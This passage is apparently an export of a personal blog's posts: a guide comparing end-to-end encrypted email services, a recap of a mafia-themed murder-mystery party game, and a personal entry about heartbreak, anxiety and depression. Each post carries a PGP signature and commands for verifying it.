authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.\nI mean, generally speaking one can use e2ee for anything, and not just email, but doesn\u0026rsquo;t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you\u0026rsquo;re good to go!\nThe contenders (and how they feel to use) Proton Mail (consumer‑friendly, great cross‑provider story) Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.\nPrices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.\nHow to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.\nUps: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.\nDowns: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.\nHonestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It\u0026rsquo;s easy to use, and fun to show off.\nTuta (formerly Tutanota) (privacy maximalist, subject‑line encryption) Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.\nPrices (personal \u0026amp; business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.\nHow to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.\nUps: Max privacy posture; encrypted subjects between Tuta users; clean apps.\nDowns: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.\nI was introduced to this one literally for writing this post, I had no idea it existed before.\nGmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace) If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.\nPrices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.\nHow to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.\nUps: Seamless for employees; centralized key control; good audit/compliance story.\nDowns: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.\nI mean\u0026hellip; how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won\u0026rsquo;t. Not with the emails that matter to me.\nOutlook / Apple Mail with S/MIME (classic enterprise path) S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.\nPrices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.\nHow to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.\nUps: Great inside enterprises; MDM‑friendly; widely supported.\nDowns: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.\nOk. Is there that big of a difference between these and Gmail? Idk. I ain\u0026rsquo;t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.\nThunderbird + OpenPGP (free, powerful, nerd‑approved—now usable) Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.\nPrices: Free.\nHow to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.\nUps: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.\nDowns: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.\nThis is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don\u0026rsquo;t have iOS app which sucks, idk about Android.\nBrowser add‑ons: Mailvelope \u0026amp; FlowCrypt (bring E2EE to webmail) If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.\nPrices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.\nHow to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.\nUps: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.\nDowns: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells \u0026amp; whistles than a full desktop client.\nJust no. Don\u0026rsquo;t trust add-ons. Please.\nSo… which should you use? If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.\nHonestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.\nA note on what E2EE hides (and what it doesn’t) End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.\nQuick price \u0026amp; fit-at-a-glance Option Best fit Personal price vibe Notes Proton Mail Everyday private email + easy messages to anyone Free; personal paid tiers in single‑digit €/mo; business per‑user Password‑protected emails to non‑Proton; PGP support Tuta Privacy‑max email; encrypted subjects in‑ecosystem Free; personal low €/mo; business per‑user Password‑protected emails to non‑Tuta; open source Gmail CSE Orgs on Google Workspace Included with Enterprise Plus/Education/Frontline editions Admin setup + external‑recipient flow S/MIME (Outlook/Apple Mail) Enterprises with IT/MDM Software built‑in; cert costs vary Smooth inside one org; cert exchange needed across orgs Thunderbird OpenPGP Provider‑agnostic power users Free Can encrypt subjects via protected headers Mailvelope / FlowCrypt Must stay on webmail Free / paid enterprise options PGP in the browser; good stepping stone The 60‑second starter packs Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.\nThunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.\nShower thoughts So, why did I mention any of this? Aside from the fact that I do believe e2ee email should become defacto, and I don\u0026rsquo;t know why it isn\u0026rsquo;t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.\nA while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. The thing is, people might not use them because they don\u0026rsquo;t trust them.\nThe question I had was different. Assuming that the service is reliable, why can\u0026rsquo;t we use it and protect ourselves while doing so?\nIn hindsight this seems stupid. But listen to me. If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly \u0026ldquo;untrusted\u0026rdquo; medium, why wouldn\u0026rsquo;t you be able to use it? The only, and oh well, biggest problem is key exchange. Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it\u0026rsquo;s a way. And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. Like via a quick short call. They can also be faked, but let\u0026rsquo;s not go that extreme. Also if many do it, it\u0026rsquo;s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.\nIdk how stupid the thing I\u0026rsquo;m suggesting is, but I wonder if it can be done or not. I don\u0026rsquo;t know if I\u0026rsquo;m willing to spend my free time on it or not, but I though I should share the idea to at least know if it\u0026rsquo;s stupid and wrong or not.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN z\u0026#43;xZGP\u0026#43;orZYA3hUJtJFwKY3f6Lc\u0026#43;H0\u0026#43;rmPq/qwhdlyooASpap3G9n6Lh09vrimSl teMPcOiYIeFEN2NeewReyp\u0026#43;0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2 nh\u0026#43;i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO\u0026#43;hH2G87yPvf0B6cM6w qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ bfSn\u0026#43;ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA mLN7Fslis\u0026#43;dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A\u0026#43;A4J6 iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR ic2kF0bGJCaI/0Sen\u0026#43;lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y= =R0VX -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc gpg --verify e2ee.md.asc e2ee.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/","summary":"A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.","title":"Sending End‑to‑End Encrypted Email (E2EE) without losing friends"},{"content":"Last night I attended a ZiS event called \u0026ldquo;the Murder Mystery night\u0026rdquo;.\nThe story was about two families. The Falcones, and the Moretti family.\nGold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!\nFamily Trees %%{init: {\"flowchart\":{\"htmlLabels\": true, \"nodeSpacing\": 30, \"rankSpacing\": 35}} }%% flowchart TB subgraph falcone[\"Falcone — current generation\"] direction TB Salvatore[\"Salvatore Falconedead boss\"] Serena[\"Serenawidow (bosswife)\"] Salvatore -- Married --\u003e Serena %% row: siblings subgraph falcone_row1[ ] direction LR Sophia[\"Sophiaunderboss\"] Massimo[\"Massimolawyer\"] Fabiola[\"Fabiolafinancialadvisor\"] Aurora[\"Auroraassociate\"] end %% row: next generation subgraph falcone_row2[ ] direction LR Lorenzo[\"Lorenzofixer(Sophia's son)\"] Michelangelo[\"Michelangeloenforcer(Massimo's son)\"] Antonio[\"Antoniohitman\"] end Sophia --\u003e Lorenzo Massimo --\u003e Michelangelo Fabiola -- Married --\u003e Antonio end %%{init: {\"flowchart\":{\"htmlLabels\": true, \"nodeSpacing\": 30, \"rankSpacing\": 35}} }%% flowchart TB subgraph moretti[\"Moretti family\"] direction TB Benito[\"Benitoboss\"] Nicoletta[\"Nicolettabosswife\"] Claudia[\"Claudiaex wife\"] Benito -- Married --\u003e Nicoletta Benito -- Divorced --\u003e Claudia %% row: children subgraph moretti_row1[ ] direction LR Sergio[\"Sergiounderboss\"] Lucia[\"Luciaassociate\"] end Benito --\u003e|son| Sergio Nicoletta --\u003e|son| Sergio Benito --\u003e|daughter| Lucia Claudia --\u003e|daughter| Lucia %% row: Lucia's crew subgraph moretti_row2[ ] direction LR Violetta[\"Violettafixer\"] Santo[\"Santoenforcer\"] end Lucia --\u003e Violetta Lucia --\u003e Santo end Enrico[\"Enricofinantial advisor\"] Benito ---|younger brother| Enrico Who’s Who (quick dossiers) Falcone notes Salvatore Falcone (†) — Former Don, killed under mysterious circumstances. Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia. Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore. Massimo — Younger brother; justice-minded, hardened by his wife’s death. Aurora — Youngest; underestimated as naive or harmless, but observant. Fabiola — Ambitious financial brain; growth-focused, clashes with tradition. Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have. Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder. Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable. Moretti notes Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son. Nicoletta — Benito’s wife; once a prostitute, now regal and cunning. Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game. Enrico — Benito’s younger brother; accountant; clever, restless for influence. Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs. Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways. Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family. Santo — Lucia’s son; bold, admired and doubted in equal measure. Aside from these characters, there were two additional characters. Falcon\u0026rsquo;s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!\nWorld sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.\nAfter the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. All I knew was that on the night of the murder, I was not in Falcon\u0026rsquo;s house, and that I was out in a casino with Aurora.\nI didn\u0026rsquo;t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO\nSo, without further of do, let\u0026rsquo;s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD\nAct I, the dinner We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. Or that\u0026rsquo;s what was written in our invitations.\nThe Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.\nThe clash was instant as they though we were disrespectful to wear such cloths. As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.\nShe said, \u0026ldquo;I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.\u0026rdquo;\nThe Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! They said Why would they take it so far to accuse them of accusing us of murder.\nVioletta, our family’s ice-cold fixer, replied, \u0026ldquo;it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention\u0026rdquo;.\nThey went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.\nWhile the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won\u0026rsquo;t name here out of privacy). Thank you again for such an amazing event!\nAct II, the invitations Sophia looked at us with her death smile and said, \u0026ldquo;I was involved with 9 invitations, the ones to our family, and nothing more.\u0026rdquo;\nThe room went into a deep silence. What did she mean? Who made Moretti\u0026rsquo;s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti\u0026rsquo;s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?\nThe occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.\nVioletta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger\u0026hellip;\nAct III, the evidence Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.\nThere were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore\u0026rsquo;s body from the other side. The third picture was of Salvatore\u0026rsquo;s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.\nMassimo got up from his sit, pointing to an article about her wife\u0026rsquo;s death. He stated how this was similar to her death, and how she died \u0026ldquo;The Moretti way\u0026rdquo;. \u0026ldquo;She was shot and pushed down the stairs. What other evidence do you need?\u0026rdquo; said Massimo.\nBenito replied calmly, \u0026ldquo;But Salvatore didn\u0026rsquo;t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.\u0026rdquo;. \u0026ldquo;Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.\u0026rdquo;, said Sergio with a collected tone.\nMassimo wasn\u0026rsquo;t convinced, but he knew they were right. He just could not forgive her wife\u0026rsquo;s death.\nThe room went into silence again.\nVioletta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola\u0026rsquo;s accounting showing F\u0026amp;E laundering money for Salvatore. No one knew what F\u0026amp;E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore\u0026rsquo;s level, using the Falcones\u0026rsquo; casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.\nIn the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: \u0026ldquo;Be careful\u0026rdquo;.\nSerena pointed to Antonio, and he took out a piece of paper of the family\u0026rsquo;s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti\u0026rsquo;s have with the youngest of the Falcones?\nLorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio\u0026rsquo;s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones\u0026rsquo; that night, and that he was in a casino with Aurora; no further explanation was provided by him.\nAurora didn\u0026rsquo;t budge either.\nSergio changed the subject swiftly. He pointed to the gun used for the murder and said, \u0026ldquo;Doesn\u0026rsquo;t that look like Santo\u0026rsquo;s gun? Where were you that night, Santos?\u0026rdquo;. \u0026ldquo;I was at home, with my mother\u0026rdquo;, Santos replied, and Lucia nodded.\nIt felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.\nAct IV, the confessions The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard \u0026ldquo;there was another heir to Salvatore\u0026rsquo;s fortune\u0026rdquo;, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.\nThe prostitute continued, \u0026ldquo;Benito ordered to kill her mistress before the child was born, but he didn\u0026rsquo;t manage\u0026rdquo;. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.\nClaudia wasn\u0026rsquo;t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?\nThe prostitute then continued. \u0026ldquo;Sergio is not Benito\u0026rsquo;s son\u0026rdquo;. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito\u0026rsquo;s son. Benito smiled. \u0026ldquo;Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.\u0026rdquo;\nSergio did not smile, or any changes in his face. He was ice-cold.\nIt was still not clear who plotted to kill Salvatore. Everyone was confused.\nIt was time for deduction.\nAct V, the killer(s) After a long discussion between all the family members, these were the conclusions.\nIt was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti\u0026rsquo;s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.\nInitially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.\nIf everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family\u0026rsquo;s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?\nLorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like \u0026ldquo;The Moretti\u0026rdquo; way. Then Lorenzo gets to Antonio, and Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore\u0026rsquo;s money, as with all ties broken, no one would suspect he was Salvatore\u0026rsquo;s son. Nicoletta would also not talk, as she would lose everything if she confessed.\nAlthough all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn\u0026rsquo;t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti\u0026rsquo;s side.\nIt was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?\nSophia was just disappointed with all of this. She didn\u0026rsquo;t budge.\nThe epilogue Most people weren\u0026rsquo;t sharing what they knew not to become sus! I didn\u0026rsquo;t talk to everyone, but for example, the person who played Santo\u0026rsquo;s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I\u0026rsquo;m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren\u0026rsquo;t presenting everything they knew.\nOverall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm\u0026#43; bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p zr6zHOniJ1aCSju8WS28cUMjNz\u0026#43;xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj 3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x 4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN\u0026#43;q2hB6Bu1tndVPH qIrSt7ykMhhDYz6A6MzXkwIKG\u0026#43;lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ nh4a\u0026#43;E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o\u0026#43;Ymxp Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw= =3iUy -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md.asc gpg --verify murder_mystery_night.md.asc murder_mystery_night.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/","summary":"Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.","title":"La Plaza: The Falcones \u0026 the Morettis"},{"content":"Honestly, I don\u0026rsquo;t know why I\u0026rsquo;m doing any of this. I really don\u0026rsquo;t. I think for me this is a scape from reality. A scape from the sad thing that happened earlier this month. A scape from feeling used, or let\u0026rsquo;s say abused if you will, and then thrown away. Just like a piece of trash. It\u0026rsquo;s been hurting more and more. I\u0026rsquo;ve been lying to myself that I don\u0026rsquo;t care. That I\u0026rsquo;ve moved on.\nI\u0026rsquo;ve been seeking validation ever since. The validation that was lacking during that encounter. The feeling of not being good enough.\nIt\u0026rsquo;s enough grieving though. But is it? I tell myself I have moved on. I\u0026rsquo;m not chasing. I\u0026rsquo;m really not.\nI do know that this was indeed the best that could\u0026rsquo;ve happened for me. I just dodged a bullet. But still, there is a part of me that hurts, that grieves. A part that doesn\u0026rsquo;t want to move on. I told myself that I will meet new people, and forget. But then aren\u0026rsquo;t I changing the problem?\nThe problem isn\u0026rsquo;t what is on the surface. It\u0026rsquo;s something deeper. The fact that I feel lonely, scared, anxious. My anxious attachment, combined with overthinking, hurts me. I have to analyse and see the worse in every encounter.\nLike if I tell a group of friends that I won\u0026rsquo;t go with them a few times, I will be removed from the group. That if everyone is busy, they have planned something together and I\u0026rsquo;m not invited. That if someone doesn\u0026rsquo;t reply to me, they hate me. Or that if someone passes me and doesn\u0026rsquo;t look at me or say a word, they don\u0026rsquo;t want to see me, or don\u0026rsquo;t want me around them.\nI don\u0026rsquo;t know how to stop these. I started to do more home office for this very reason, but I wasn\u0026rsquo;t that productive. I think my time, and life, is going to waste, and I don\u0026rsquo;t know how to stop it. It\u0026rsquo;s getting annoying.\nTaking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I\u0026rsquo;m far along I feel the extra stress I was neglecting. Things just don\u0026rsquo;t feel right. I think I\u0026rsquo;m becoming depressed again.\nThose message passings, though they meant nothing, were extremely helpful for me not to feel lonely. I know if I initiate, I get responses back. Well, maybe not. Maybe my expiration date has passed. But then I would be chasing bread crumbs again. Those crumbs won\u0026rsquo;t let me find a true good quality loaf of bread! They keep me distracted, and make me exhausted. But they also mentally help me.\nMaybe I should go for coffee at different times just not to meet this person. I don\u0026rsquo;t know. I just know I\u0026rsquo;m hurting from within, and it\u0026rsquo;s not nice. It\u0026rsquo;s like internal bleeding. It\u0026rsquo;s as painful as it gets. It\u0026rsquo;s as hurtful as it gets.\nI know getting a pet could help me a lot at this point. All of the things I want I can get from a pet. Petting the pet, and caring for it are exactly what makes me feel good. But then I don\u0026rsquo;t want the responsibility.\nLike with a human things feel less stressful, but with a pet it\u0026rsquo;s scary. I\u0026rsquo;m more of a father to the pet. Uh\u0026hellip; I can\u0026rsquo;t even have a pet because of my house rules.\nI don\u0026rsquo;t know what to do. What I know is that I\u0026rsquo;m mentally hurting, and I don\u0026rsquo;t know what to do. I really don\u0026rsquo;t. I need help. A lot of help. A lot lot of help. But I can\u0026rsquo;t ask my friends. I just can\u0026rsquo;t. They have their own problems. They think I\u0026rsquo;m weak. They will tell me to man up. Or they just show empathy. But I don\u0026rsquo;t need empathy. I need a solution. I need to be told what to do. I need help. Help.\n\u0026hellip; \u0026mdash; \u0026hellip;\n\u0026hellip; \u0026mdash; \u0026hellip; \u0026hellip; \u0026mdash; \u0026hellip; \u0026hellip; \u0026mdash; \u0026hellip;\n\u0026hellip; \u0026mdash; \u0026hellip;\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN\u0026#43;0a9 XkVgKH2Ax8n7h\u0026#43;uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y 4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U\u0026#43;VbIflsJG2id\u0026#43;g1W3Z7ch6 sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5 9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY\u0026#43;b\u0026#43;rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch 